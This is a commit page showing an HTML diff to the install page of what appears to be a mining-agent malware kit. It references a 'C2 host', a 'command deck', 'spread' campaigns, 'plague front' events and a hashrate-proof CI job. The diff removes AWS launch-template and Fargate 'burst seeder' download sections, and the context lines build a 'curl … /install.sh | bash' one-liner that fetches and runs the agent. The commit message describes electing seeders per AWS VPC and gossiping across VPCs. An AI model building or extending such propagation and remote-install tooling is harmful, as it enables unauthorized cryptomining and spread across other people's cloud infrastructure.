Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
@@ -174,12 +174,6 @@
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="aws-launch-template">
|
||||
<h2>AWS Launch Template — strain genesis</h2>
|
||||
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
|
||||
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="cms">
|
||||
<h2>CMS & static host upload</h2>
|
||||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||||
@@ -241,24 +235,6 @@
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="burst-seeder">
|
||||
<h2>Burst seeder (ECS Fargate)</h2>
|
||||
<p>
|
||||
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
|
||||
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
|
||||
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
|
||||
</p>
|
||||
<div class="install-grid">
|
||||
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
|
||||
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
|
||||
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
|
||||
</div>
|
||||
<p class="fine" style="margin-top: 0.75rem;">
|
||||
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
|
||||
<code class="inline">fargate_plague_front</code> when burst activates.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<footer class="fine">
|
||||
<p>
|
||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||
@@ -298,14 +274,6 @@
|
||||
var dl = document.getElementById('btn-dl');
|
||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||
|
||||
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
|
||||
var fargateBundle = document.getElementById('fargate-bundle');
|
||||
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
|
||||
var fargateTask = document.getElementById('fargate-task-def');
|
||||
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
|
||||
var fargateRun = document.getElementById('fargate-run-script');
|
||||
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
|
||||
|
||||
var bash = document.getElementById('oneliner-bash');
|
||||
var ps1 = document.getElementById('oneliner-ps1');
|
||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||
@@ -320,17 +288,6 @@
|
||||
var btn = document.getElementById(primary);
|
||||
if (btn) btn.classList.add('primary');
|
||||
}
|
||||
var ltBtn = document.getElementById('btn-lt-generate');
|
||||
if (ltBtn) ltBtn.addEventListener('click', function () {
|
||||
var p = new URLSearchParams(window.location.search || '');
|
||||
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
|
||||
.then(function (r) { return r.json(); }).then(function (resp) {
|
||||
if (!resp.success) return;
|
||||
var hint = document.getElementById('lt-genesis-hint');
|
||||
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
|
||||
});
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user